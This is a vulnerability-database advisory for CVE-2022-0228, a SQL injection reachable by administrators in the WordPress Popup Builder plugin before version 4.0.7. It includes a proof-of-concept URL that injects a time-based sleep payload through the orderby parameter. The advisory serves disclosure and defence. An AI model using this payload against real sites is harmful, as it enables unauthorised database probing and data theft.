Lucene search
Tony WuWPVDB-ID:22FACAC2-52F4-4E5F-BE59-1D2934B260D9HistoryJan 24, 2022 - 12:00 a.m.
Popup Builder < 4.0.7 - Admin+ SQL Injection
2022-01-2400:00:00
Tony Wu
wpscan.com
18
0.026 Low
EPSS
Percentile
90.5%
The plugin does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection
PoC
https://example.com/wp-admin/admin-post.php?action=csv_file&orderby;=email%2C(select+*+from(select(sleep(5)))b)ℴ=desc
| CPE | Name | Operator | Version |
|---|---|---|---|
| popup-builder | lt | 4.1.1 |
Related
prion
prion
Sql injection
2022-02-21 11:15:00
wpexploit
wpexploit
Popup Builder < 4.0.7 - Admin+ SQL Injection
2022-01-24 00:00:00
nvd
nvd
CVE-2022-0228
2022-02-21 11:15:09
nuclei
nuclei
Popup Builder < 4.0.7 - SQL Injection
2023-10-17 07:20:28
cve
cve
CVE-2022-0228
2022-02-21 11:15:09
patchstack
patchstack
WordPress Popup Builder plugin <= 4.0.6 - SQL Injection (SQLi) vulnerability
2022-01-24 00:00:00
cvelist
cvelist
CVE-2022-0228 Popup Builder < 4.0.7 - Admin+ SQL Injection
2022-02-21 10:46:06
openvas
openvas
WordPress Popup Builder Plugin < 4.0.7 Multiple Vulnerabilities
2022-03-01 00:00:00